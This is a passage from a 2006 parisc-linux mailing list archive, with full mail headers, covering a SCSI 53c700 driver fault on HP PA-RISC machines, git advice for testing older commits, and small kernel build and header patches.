-ifneq ($(shell if [ $(GCC_VERSION) -lt 0303 ] ; then echo "bad"; fi ;),)
-$(error Sorry, your compiler is too old ($(GCC_VERSION)).  GCC v3.3 or above is required.)
+ifneq ($(call cc-ifversion, -lt, 0303, "bad"),)
+$(error Sorry, GCC v3.3 or above is required.)
 endif
 
 cflags-y	:= -pipe
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K410 SCSI 53c700 issue with PLEXTOR PX-R820T
Date: Fri, 01 Dec 2006 22:42:11 +0000
Lines: 28
Approved: news@gmane.org
Message-ID: <4570AFC3.1050304__41444.3496767946$1416624623$gmane$org@scarlet.be>
References: <20061112160350.8b7d4afd.gmsoft@tuxicoman.be>
	<20061112191436.GY16952@parisc-linux.org>
	<20061127115832.b413fd7b.gmsoft@tuxicoman.be>
	<20061127153713.GQ14076@parisc-linux.org>
	<20061130101805.2a82273b.gmsoft@tuxicoman.be>
	<1164907064.22826.23.camel@mulgrave.il.steeleye.com>
	<1164910427.22826.37.camel@mulgrave.il.steeleye.com>
	<20061130194830.90043d05.gmsoft@tuxicoman.be>
	<45705108.3080500@scarlet.be>
	<20061201161033.GO14076@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624623 28216 80.91.229.3 (22 Nov 2014 02:50:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:23 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>,
 James Bottomley <James.Bottomley@SteelEye.com>,
 parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:28:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Dec 2006 22:43:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 01 Dec 2006 23:43:01 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EAEF67D9BB;
	Fri,  1 Dec 2006 15:42:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24342-07; Fri, 1 Dec 2006 15:42:57 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0DE017D9BF;
	Fri,  1 Dec 2006 15:42:56 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DE2A57D9B7
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Dec 2006 15:42:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24342-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Dec 2006 15:42:50 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 81F187D89B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Dec 2006 15:42:50 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 5591749400E; Fri,  1 Dec 2006 15:42:50 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by mail.parisc-linux.org (Postfix) with ESMTP id C7958494007
	for <parisc-linux@parisc-linux.org>;
	Fri,  1 Dec 2006 15:42:29 -0700 (MST)
Original-Received: from (ip-213-49-75-19.dsl.scarlet.be [213.49.75.19]) 
	by guri.is.scarlet.be  with ESMTP id kB1MgCp26764; 
	Fri, 1 Dec 2006 23:42:13 +0100
User-Agent: Icedove 1.5.0.8 (X11/20061128)
In-Reply-To: <20061201161033.GO14076@parisc-linux.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: wZdFcWQlRkkeaauPfGRqZJ9mdWkvKFNa
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25386



Matthew Wilcox wrote:
> On Fri, Dec 01, 2006 at 03:58:00PM +0000, Joel Soete wrote:
>> Sorry no yet a fix for my pb :_(
> 
> It'd be useful to know if your problem was introduced at the same time.
> Can you try the same git revisions that Guy tried and let us know if
> that's the same commit that broke your machine?
> 
mmm reading back this pr <http://lists.parisc-linux.org/pipermail/parisc-linux/2006-July/029506.html>
my pb seems to be already in early 2.6.18-rc1-pa1 and most probably in 2.6.17 (according to my ps at this time).

Eventhought I have the filling that there was always pbs with this driver on my c110 
(<http://lists.parisc-linux.org/pipermail/parisc-linux/2004-September/024736.html>),
I am ready to grab what Guy tried;
may be can you send me the git cmdl parameters to grab exactely the same stuff.

Joel

PS: the d380 I have for testing have to go back to production, sorry it couldn't help us for a while :_(

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K410 SCSI 53c700 issue with PLEXTOR PX-R820T
Date: Fri, 01 Dec 2006 23:02:49 +0000
Lines: 60
Approved: news@gmane.org
Message-ID: <4570B499.6040407__36253.5266824581$1416624624$gmane$org@scarlet.be>
References: <20061112160350.8b7d4afd.gmsoft@tuxicoman.be>	<20061112191436.GY16952@parisc-linux.org>	<20061127115832.b413fd7b.gmsoft@tuxicoman.be>	<20061127153713.GQ14076@parisc-linux.org>	<20061130101805.2a82273b.gmsoft@tuxicoman.be>	<1164907064.22826.23.camel@mulgrave.il.steeleye.com>	<1164910427.22826.37.camel@mulgrave.il.steeleye.com>	<20061130194830.90043d05.gmsoft@tuxicoman.be>	<45705108.3080500@scarlet.be>	<20061201161033.GO14076@parisc-linux.org>
	<4570AFC3.1050304@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624624 28221 80.91.229.3 (22 Nov 2014 02:50:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:24 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>,
 James Bottomley <James.Bottomley@SteelEye.com>,
 parisc-linux@parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:28:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Dec 2006 23:03:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx084) with SMTP; 02 Dec 2006 00:03:56 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C886C7D963;
	Fri,  1 Dec 2006 16:03:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24805-06; Fri, 1 Dec 2006 16:03:53 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D21117D9BF;
	Fri,  1 Dec 2006 16:03:51 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 816987D93D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Dec 2006 16:03:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24805-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Dec 2006 16:03:46 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 22A827D919
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Dec 2006 16:03:46 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id DF35949400E; Fri,  1 Dec 2006 16:03:45 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by mail.parisc-linux.org (Postfix) with ESMTP id 5B9EA494007
	for <parisc-linux@parisc-linux.org>;
	Fri,  1 Dec 2006 16:03:24 -0700 (MST)
Original-Received: from (ip-213-49-75-19.dsl.scarlet.be [213.49.75.19])
	by weequay.is.scarlet.be  with ESMTP id kB1N2ow22944;
	Sat, 2 Dec 2006 00:02:51 +0100
User-Agent: Icedove 1.5.0.8 (X11/20061128)
In-Reply-To: <4570AFC3.1050304@scarlet.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 74ZWbRjILi5nE/fRZWtpcmxjZml1ZJiT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25387

Sorry for this auto followup but during am i writing previous line I was testing a older vmlinux-2.6.16-pa10 and this pb was 
showing his face after a bit more then 30min of loop test:
scsi1: (3:0) phase mismatch at 01e8, phase IO CD MSG BSY REQ MSG IN
scsi1: Bus Reset detected, executing command 2ca36620, slot 2fd18520, dsp 001c81e8[01e8]
  failing command because of reset, slot 2fd18520, cmnd 2ca36620
  failing command because of reset, slot 2fd1864c, cmnd 2ca368e0
  failing command because of reset, slot 2fd18778, cmnd 2ca36200
  failing command because of reset, slot 2fd188a4, cmnd 149c6320

but:
   - one time (after about 45 min)
   - and the test can continue (while in 2.6.18-rc1-pa1 it finished always by panicing
     because ccio finished by being overloaded.

Joel



Joel Soete wrote:
> 
> 
> Matthew Wilcox wrote:
>> On Fri, Dec 01, 2006 at 03:58:00PM +0000, Joel Soete wrote:
>>> Sorry no yet a fix for my pb :_(
>>
>> It'd be useful to know if your problem was introduced at the same time.
>> Can you try the same git revisions that Guy tried and let us know if
>> that's the same commit that broke your machine?
>>
> mmm reading back this pr 
> <http://lists.parisc-linux.org/pipermail/parisc-linux/2006-July/029506.html> 
> 
> my pb seems to be already in early 2.6.18-rc1-pa1 and most probably in 
> 2.6.17 (according to my ps at this time).
> 
> Eventhought I have the filling that there was always pbs with this 
> driver on my c110 
> (<http://lists.parisc-linux.org/pipermail/parisc-linux/2004-September/024736.html>), 
> 
> I am ready to grab what Guy tried;
> may be can you send me the git cmdl parameters to grab exactely the same 
> stuff.
> 
> Joel
> 
> PS: the d380 I have for testing have to go back to production, sorry it 
> couldn't help us for a while :_(
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K410 SCSI 53c700 issue with PLEXTOR PX-R820T
Date: Sat, 2 Dec 2006 08:19:34 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <20061202081934.8763795d.gmsoft__43211.5923999392$1416624624$gmane$org@tuxicoman.be>
References: <20061112160350.8b7d4afd.gmsoft@tuxicoman.be>
	<20061112191436.GY16952@parisc-linux.org>
	<20061127115832.b413fd7b.gmsoft@tuxicoman.be>
	<20061127153713.GQ14076@parisc-linux.org>
	<20061130101805.2a82273b.gmsoft@tuxicoman.be>
	<1164907064.22826.23.camel@mulgrave.il.steeleye.com>
	<1164910427.22826.37.camel@mulgrave.il.steeleye.com>
	<20061130194830.90043d05.gmsoft@tuxicoman.be>
	<45705108.3080500@scarlet.be>
	<20061201161033.GO14076@parisc-linux.org>
	<4570AFC3.1050304@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624624 28223 80.91.229.3 (22 Nov 2014 02:50:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:24 +0000 (UTC)
Cc: James.Bottomley@SteelEye.com,
 parisc-linux@parisc-linux.org,
 matthew@wil.cx
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:28:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Dec 2006 07:19:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 02 Dec 2006 08:19:48 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 15C5B7D96F;
	Sat,  2 Dec 2006 00:19:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29697-05; Sat, 2 Dec 2006 00:19:43 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2D34A7D990;
	Sat,  2 Dec 2006 00:19:42 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4BA117D910
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Dec 2006 00:19:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29697-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 2 Dec 2006 00:19:36 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id E1F657D79E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Dec 2006 00:19:36 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 9F95E49400E; Sat,  2 Dec 2006 00:19:36 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.coditel.net (smtp-out.coditel.net [212.95.66.33])
	by mail.parisc-linux.org (Postfix) with ESMTP id 18940494007
	for <parisc-linux@parisc-linux.org>;
	Sat,  2 Dec 2006 00:19:14 -0700 (MST)
Original-Received: from smtp.coditel.net (localhost.localdomain [127.0.0.1])
	by smtp-out.coditel.net (Postfix) with ESMTP
	id C597CEB2D2; Sat,  2 Dec 2006 08:19:13 +0100 (CET)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.84.48.coditel.net
	[85.28.84.48]) by smtp.coditel.net (Postfix) with ESMTP
	id 79B462FD75; Sat,  2 Dec 2006 08:19:08 +0100 (CET)
Original-Received: from [172.22.0.4] (helo=localhost)
	by ibiza.bxl.tuxicoman.be with esmtps (TLSv1:AES256-SHA:256)
	(Exim 4.62) (envelope-from <gmsoft@tuxicoman.be>)
	id 1GqQzg-0005fU-7g; Sat, 02 Dec 2006 10:17:12 +0100
In-Reply-To: <4570AFC3.1050304@scarlet.be>
X-Mailer: Sylpheed version 2.2.4 (GTK+ 2.8.19; i686-pc-linux-gnu)
X-AV-Checked: clean on smtp.coditel.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: WlwQIUcOa0AoXL6aejEzX4Q3Njh6dA51
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25388



Joel,

The git commands I used may not be the best but it works :)

You have to find out the commit you want with git log or anything else.
Then do "git branch <branchname> <commit#>" to create a new branch at that commit. Then you can "git checkout <branchname>" to have your workdir reflect that branch.
Maybe it's more appropriate to do this with tags but I don't think it's possible to checkout on tags.


  Guy


On Fri, 01 Dec 2006 22:42:11 +0000
Joel Soete <soete.joel@scarlet.be> wrote:

> 
> 
> Matthew Wilcox wrote:
> > On Fri, Dec 01, 2006 at 03:58:00PM +0000, Joel Soete wrote:
> >> Sorry no yet a fix for my pb :_(
> > 
> > It'd be useful to know if your problem was introduced at the same time.
> > Can you try the same git revisions that Guy tried and let us know if
> > that's the same commit that broke your machine?
> > 
> mmm reading back this pr <http://lists.parisc-linux.org/pipermail/parisc-linux/2006-July/029506.html>
> my pb seems to be already in early 2.6.18-rc1-pa1 and most probably in 2.6.17 (according to my ps at this time).
> 
> Eventhought I have the filling that there was always pbs with this driver on my c110 
> (<http://lists.parisc-linux.org/pipermail/parisc-linux/2004-September/024736.html>),
> I am ready to grab what Guy tried;
> may be can you send me the git cmdl parameters to grab exactely the same stuff.
> 
> Joel
> 
> PS: the d380 I have for testing have to go back to production, sorry it couldn't help us for a while :_(
> 


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mariusz Kozlowski <m.kozlowski@tuxland.pl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] parisc: pdcpat remove extra brackets
Date: Thu, 30 Nov 2006 10:20:50 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <200611301020.51261.m.kozlowski__39162.9402911805$1416624624$gmane$org@tuxland.pl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-2"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624624 28225 80.91.229.3 (22 Nov 2014 02:50:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:24 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
 parisc-linux@parisc-linux.org
To: matthew@wil.cx,
 grundler@parisc-linux.org,
 kyle@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Nov 2006 09:21:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx084) with SMTP; 30 Nov 2006 10:21:43 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1B92A7D8D6;
	Thu, 30 Nov 2006 02:21:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21589-06; Thu, 30 Nov 2006 02:21:38 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4DB467D917;
	Thu, 30 Nov 2006 02:21:36 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2C84A7D864
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Nov 2006 02:21:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21589-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Nov 2006 02:21:32 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id C47147D816
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Nov 2006 02:21:32 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 98A42494015; Thu, 30 Nov 2006 02:21:32 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from tuxland.pl (xdsl-664.zgora.dialog.net.pl [81.168.226.152])
	by mail.parisc-linux.org (Postfix) with ESMTP id D5EE8494013;
	Thu, 30 Nov 2006 02:21:20 -0700 (MST)
Original-Received: from [192.168.1.3] (xdsl-664.zgora.dialog.net.pl [81.168.226.152])
	by tuxland.pl (Postfix) with ESMTP id 26D7B6EE9A;
	Thu, 30 Nov 2006 10:21:10 +0100 (CET)
Original-Received: from [192.168.1.3] ([192.168.1.3])
	by tuxland.pl (AISK); Thu, 30 Nov 2006 10:21:09 +0100 (CET)
User-Agent: KMail/1.9.5
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kZpYDMYDQEVsAujDZnVp451KNzg2NUKu
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25389

Hello,

	This patch removes extra brackets.

Signed-off-by: Mariusz Kozlowski <m.kozlowski@tuxland.pl>

 include/asm-parisc/pdcpat.h |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- linux-2.6.19-rc6-mm2-a/include/asm-parisc/pdcpat.h	2006-11-16 05:03:40.000000000 +0100
+++ linux-2.6.19-rc6-mm2-b/include/asm-parisc/pdcpat.h	2006-11-30 01:09:47.000000000 +0100
@@ -250,7 +250,7 @@ struct pdc_pat_pd_addr_map_entry {
 #define PAT_GET_ENTITY(value)	(((value) >> 56) & 0xffUL)
 #define PAT_GET_DVI(value)	(((value) >> 48) & 0xffUL)
 #define PAT_GET_IOC(value)	(((value) >> 40) & 0xffUL)
-#define PAT_GET_MOD_PAGES(value)(((value) & 0xffffffUL)
+#define PAT_GET_MOD_PAGES(value) ((value) & 0xffffffUL)
 
 
 /*
@@ -330,7 +330,7 @@ extern int pdc_pat;     /* arch/parisc/k
 #define PAT_GET_ENTITY(value)	(((value) >> 56) & 0xffUL)
 #define PAT_GET_DVI(value)	(((value) >> 48) & 0xffUL)
 #define PAT_GET_IOC(value)	(((value) >> 40) & 0xffUL)
-#define PAT_GET_MOD_PAGES(value)(((value) & 0xffffffUL)
+#define PAT_GET_MOD_PAGES(value) ((value) & 0xffffffUL)
 
 #endif /* __ASSEMBLY__ */
 


-- 
Regards,

	Mariusz Kozlowski
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K410 SCSI 53c700 issue with PLEXTOR PX-R820T
Date: Thu, 30 Nov 2006 16:50:40 +0000
Lines: 57
Approved: news@gmane.org
Message-ID: <456F0BE0.1060707__2022.85980708456$1416624625$gmane$org@scarlet.be>
References: <20061112160350.8b7d4afd.gmsoft@tuxicoman.be>	<20061112191436.GY16952@parisc-linux.org>	<20061127115832.b413fd7b.gmsoft@tuxicoman.be>	<20061127153713.GQ14076@parisc-linux.org>
